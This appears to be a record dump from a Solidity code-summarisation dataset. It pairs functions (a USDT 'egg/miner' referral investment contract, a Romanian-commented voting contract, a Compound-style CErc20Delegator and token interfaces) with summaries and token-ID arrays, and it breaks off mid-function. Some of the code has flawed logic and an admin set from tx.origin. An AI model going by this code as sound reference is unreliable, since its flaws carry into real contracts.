-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/97/0x24031e75DcA856E09D810fA2FF01c3dC5C19fE8a/sources/project_/contracts/Matrix.sol
Invest with USDT send referral eggs
function investInMatrix(address ref, uint256 usdtAmount) public { require(initialized, "Matrix is not initialized"); require( USDT.allowance(msg.sender, address(this)) >= usdtAmount, "Insufficient allowance" ); bool s = USDT.transferFrom(msg.sender, address(this), usdtAmount); require(s, "Transfer USDT failed"); uint256 previousBalance = CLIMB.balanceOf(address(this)); bool a = USDT.approve(address(climbToken), usdtAmount); require(a, "Approve USDT failed"); CLIMB.buy(address(this), usdtAmount); uint256 newBalance = CLIMB.balanceOf(address(this)); uint256 amount = SafeMath.sub(newBalance, previousBalance); uint256 eggsBought = calculateEggBuy(amount, newBalance); eggsBought = SafeMath.sub(eggsBought, devFee(eggsBought)); claimedEggs[msg.sender] = SafeMath.add( claimedEggs[msg.sender], eggsBought ); uint256 newMiners = SafeMath.div(eggsBought, EGGS_TO_HATCH_1MINERS); hatcheryMiners[msg.sender] = SafeMath.add( hatcheryMiners[msg.sender], newMiners ); claimedEggs[msg.sender] = 0; lastHatch[msg.sender] = block.timestamp; if (ref == msg.sender) { ref = address(0); } if ( referrals[msg.sender] == address(0) && referrals[msg.sender] != msg.sender ) { referrals[msg.sender] = ref; } claimedEggs[referrals[msg.sender]] = SafeMath.add( claimedEggs[referrals[msg.sender]], SafeMath.div(eggsBought, 10) ); emit Invest(msg.sender, amount); }
5,029,053
[ 1, 3605, 395, 598, 11836, 9081, 1366, 1278, 29084, 9130, 564, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2198, 395, 382, 4635, 12, 2867, 1278, 16, 2254, 5034, 584, 7510, 6275, 13, 1071, 288, 203, 3639, 2583, 12, 13227, 16, 315, 4635, 353, 486, 6454, 8863, 203, 3639, 2583, 12, 203, 5411, 11836, 9081, 18, 5965, 1359, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3719, 1545, 584, 7510, 6275, 16, 203, 5411, 315, 5048, 11339, 1699, 1359, 6, 203, 3639, 11272, 203, 203, 3639, 1426, 272, 273, 11836, 9081, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 584, 7510, 6275, 1769, 203, 3639, 2583, 12, 87, 16, 315, 5912, 11836, 9081, 2535, 8863, 203, 3639, 2254, 5034, 2416, 13937, 273, 8276, 7969, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 1426, 279, 273, 11836, 9081, 18, 12908, 537, 12, 2867, 12, 830, 381, 70, 1345, 3631, 584, 7510, 6275, 1769, 203, 3639, 2583, 12, 69, 16, 315, 12053, 537, 11836, 9081, 2535, 8863, 203, 3639, 8276, 7969, 18, 70, 9835, 12, 2867, 12, 2211, 3631, 584, 7510, 6275, 1769, 203, 3639, 2254, 5034, 394, 13937, 273, 8276, 7969, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 2254, 5034, 3844, 273, 14060, 10477, 18, 1717, 12, 2704, 13937, 16, 2416, 13937, 1769, 203, 3639, 2254, 5034, 9130, 564, 13809, 9540, 273, 4604, 41, 14253, 38, 9835, 12, 8949, 16, 394, 13937, 1769, 203, 3639, 9130, 564, 13809, 9540, 273, 14060, 10477, 18, 1717, 12, 1332, 564, 13809, 9540, 16, 4461, 14667, 12, 1332, 564, 13809, 9540, 10019, 203, 3639, 7516, 329, 41, 2 ]
pragma solidity ^0.5.12; contract Election { //store read candidate struct Candidate { uint id; string name; uint voteCount; } //stocarea conturilor care au votat mapping(address => bool) public voters; //constructor //store candidate //fetch candidate mapping(uint => Candidate) public candidates; //nu poti itera peste ea, nu poti face count uint public candidatesCount; event votedEvent( uint indexed _candidateId ); constructor () public { //state variable if without _ addCandidate('Candidate 1'); addCandidate('Candidate 2'); } function addCandidate (string memory _name) private { candidatesCount ++; candidates[candidatesCount] = Candidate (candidatesCount, _name, 0); } function vote(uint _candidateId) public { //adresa nu a mai votat inainte //luam referinta celor care au votat si fac check daca acest voter a votat inainte; daca nu a votat => false, //dar cu ! el va merge pe true, deci acel require este satisfacut, deci cel care a votat este unic require(!voters[msg.sender]); //votul sa fie unic de la fiecare adresa //votul merge la un candidat valid require(_candidateId > 0 && _candidateId <= candidatesCount); //solidity ne ofera posibilitatea de a oferi mai multe argumente, adica metadata mai mult decat candidateId; //pentru a avea votul unic este nevoie sa stim contul care voteaza voters[msg.sender] = true; //referinta catre voters mapping, iar cu msg.sender vedem daca contul respectiv a mai votat vreodata //update candidate vote count; adica posibilitatea de a vota candidates[_candidateId].voteCount ++; emit votedEvent(_candidateId); } }
store read candidate
contract Election { struct Candidate { uint id; string name; uint voteCount; } uint public candidatesCount; event votedEvent( uint indexed _candidateId ); mapping(address => bool) public voters; mapping(uint => Candidate) public candidates; constructor () public { addCandidate('Candidate 1'); addCandidate('Candidate 2'); } function addCandidate (string memory _name) private { candidatesCount ++; candidates[candidatesCount] = Candidate (candidatesCount, _name, 0); } function vote(uint _candidateId) public { require(!voters[msg.sender]); require(_candidateId > 0 && _candidateId <= candidatesCount); voters[msg.sender] = true; candidates[_candidateId].voteCount ++; emit votedEvent(_candidateId); } }
12,936,466
[ 1, 2233, 855, 5500, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 512, 942, 288, 203, 202, 1697, 385, 8824, 288, 203, 202, 202, 11890, 612, 31, 203, 202, 202, 1080, 508, 31, 203, 202, 202, 11890, 12501, 1380, 31, 203, 202, 97, 203, 203, 202, 11890, 1071, 7965, 1380, 31, 203, 203, 202, 2575, 331, 16474, 1133, 12, 203, 202, 202, 11890, 8808, 389, 19188, 548, 203, 202, 1769, 203, 203, 202, 6770, 12, 2867, 516, 1426, 13, 1071, 331, 352, 414, 31, 203, 202, 6770, 12, 11890, 516, 385, 8824, 13, 1071, 7965, 31, 203, 203, 202, 12316, 1832, 1071, 288, 203, 202, 202, 1289, 11910, 2668, 11910, 404, 8284, 203, 202, 202, 1289, 11910, 2668, 11910, 576, 8284, 203, 202, 97, 203, 203, 202, 915, 527, 11910, 261, 1080, 3778, 389, 529, 13, 3238, 288, 203, 202, 202, 21635, 1380, 965, 31, 203, 202, 202, 21635, 63, 21635, 1380, 65, 273, 385, 8824, 261, 21635, 1380, 16, 389, 529, 16, 374, 1769, 203, 202, 97, 203, 203, 202, 915, 12501, 12, 11890, 389, 19188, 548, 13, 1071, 288, 203, 202, 202, 6528, 12, 5, 90, 352, 414, 63, 3576, 18, 15330, 19226, 203, 203, 202, 202, 6528, 24899, 19188, 548, 405, 374, 597, 389, 19188, 548, 1648, 7965, 1380, 1769, 203, 203, 202, 202, 90, 352, 414, 63, 3576, 18, 15330, 65, 273, 638, 31, 203, 202, 202, 21635, 63, 67, 19188, 548, 8009, 25911, 1380, 965, 31, 203, 203, 202, 202, 18356, 331, 16474, 1133, 24899, 19188, 548, 1769, 203, 202, 97, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.16; import "./CToken.sol"; /** * @title Compound's CErc20Delegator Contract * @notice CTokens which wrap an EIP-20 underlying and delegate to an implementation * @author Compound */ contract CErc20Delegator is CTokenInterface, CErc20Interface, CDelegatorInterface { /** * @notice Construct a new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param implementation_ The address of the implementation the contract delegates to * @param becomeImplementationData The encoded args for becomeImplementation */ constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address implementation_, bytes memory becomeImplementationData) public { // Creator of the contract is admin during initialization admin = msg.sender; // First delegate gets to initialize the delegator (i.e. storage contract) delegateTo(implementation_, abi.encodeWithSignature("initialize(address,address,address,uint256,string,string,uint8)", underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_)); // New implementations always get set via the settor (post-initialize) _setImplementation(implementation_, false, becomeImplementationData); // Set the proper admin now that initialization is done admin = tx.origin; } /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public { require(msg.sender == admin, "CErc20Delegator::_setImplementation: Caller must be admin"); if (allowResign) { delegateToImplementation(abi.encodeWithSignature("_resignImplementation()")); } address oldImplementation = implementation; implementation = implementation_; delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData)); emit NewImplementation(oldImplementation, implementation); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount, bool enterMarket) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("mint(uint256,bool)", mintAmount, enterMarket)); return abi.decode(data, (uint)); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("redeem(uint256)", redeemTokens)); return abi.decode(data, (uint)); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("redeemUnderlying(uint256)", redeemAmount)); return abi.decode(data, (uint)); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("borrow(uint256)", borrowAmount)); return abi.decode(data, (uint)); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("repayBorrow(uint256)", repayAmount)); return abi.decode(data, (uint)); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("repayBorrowBehalf(address,uint256)", borrower, repayAmount)); return abi.decode(data, (uint)); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("liquidateBorrow(address,uint256,address)", borrower, repayAmount, cTokenCollateral)); return abi.decode(data, (uint)); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("transfer(address,uint256)", dst, amount)); return abi.decode(data, (bool)); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("transferFrom(address,address,uint256)", src, dst, amount)); return abi.decode(data, (bool)); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("approve(address,uint256)", spender, amount)); return abi.decode(data, (bool)); } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("allowance(address,address)", owner, spender)); return abi.decode(data, (uint)); } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("balanceOf(address)", owner)); return abi.decode(data, (uint)); } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("balanceOfUnderlying(address)", owner)); return abi.decode(data, (uint)); } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("getAccountSnapshot(address)", account)); return abi.decode(data, (uint, uint, uint, uint)); } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("borrowRatePerBlock()")); return abi.decode(data, (uint)); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("supplyRatePerBlock()")); return abi.decode(data, (uint)); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("totalBorrowsCurrent()")); return abi.decode(data, (uint)); } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("borrowBalanceCurrent(address)", account)); return abi.decode(data, (uint)); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("borrowBalanceStored(address)", account)); return abi.decode(data, (uint)); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("exchangeRateCurrent()")); return abi.decode(data, (uint)); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("exchangeRateStored()")); return abi.decode(data, (uint)); } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("getCash()")); return abi.decode(data, (uint)); } /** * @notice Applies accrued interest to total borrows and reserves. * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("accrueInterest()")); return abi.decode(data, (uint)); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("seize(address,address,uint256)", liquidator, borrower, seizeTokens)); return abi.decode(data, (uint)); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setPendingAdmin(address)", newPendingAdmin)); return abi.decode(data, (uint)); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setComptroller(address)", newComptroller)); return abi.decode(data, (uint)); } /** * @notice Sets a new protocol seize share (when liquidating) for the protocol * @dev Admin function to set a new protocol seize share * @return uint 0=success, otherwise revert */ function _setProtocolSeizeShare(uint newProtocolSeizeShareMantissa) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setProtocolSeizeShare(uint256)", newProtocolSeizeShareMantissa)); return abi.decode(data, (uint)); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setReserveFactor(uint256)", newReserveFactorMantissa)); return abi.decode(data, (uint)); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_acceptAdmin()")); return abi.decode(data, (uint)); } /** * @notice Accrues interest and adds reserves by transferring from admin * @param addAmount Amount of reserves to add * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_addReserves(uint256)", addAmount)); return abi.decode(data, (uint)); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_reduceReserves(uint256)", reduceAmount)); return abi.decode(data, (uint)); } /** * @notice Accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setInterestRateModel(address)", newInterestRateModel)); return abi.decode(data, (uint)); } /** * @notice Internal method to delegate execution to another contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param callee The contract to delegatecall * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateTo(address callee, bytes memory data) internal returns (bytes memory) { (bool success, bytes memory returnData) = callee.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { return delegateTo(implementation, data); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts */ function () external payable { require(msg.value == 0,"CErc20Delegator:fallback: cannot send value to fallback"); // delegate all other functions to current implementation (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } } import "../Utils/ErrorReporter.sol"; import "../Utils/FixedPointMathLib.sol"; pragma solidity ^0.5.16; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ interface EIP20NonStandardInterface { /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transferFrom(address src, address dst, uint256 amount) external; /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } /** * @title ERC 20 Token Standard Interface * https://eips.ethereum.org/EIPS/eip-20 */ interface EIP20Interface { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool success); /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool success); /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract ExponentialNoError { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mul_ScalarTruncate(Exp memory a, uint scalar) pure internal returns (uint) { Exp memory product = mul_(a, scalar); return truncate(product); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mul_ScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (uint) { Exp memory product = mul_(a, scalar); 